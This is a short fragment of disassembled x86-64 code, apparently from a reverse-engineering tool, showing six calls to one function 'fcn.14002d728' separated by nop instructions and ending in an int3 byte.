call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
int3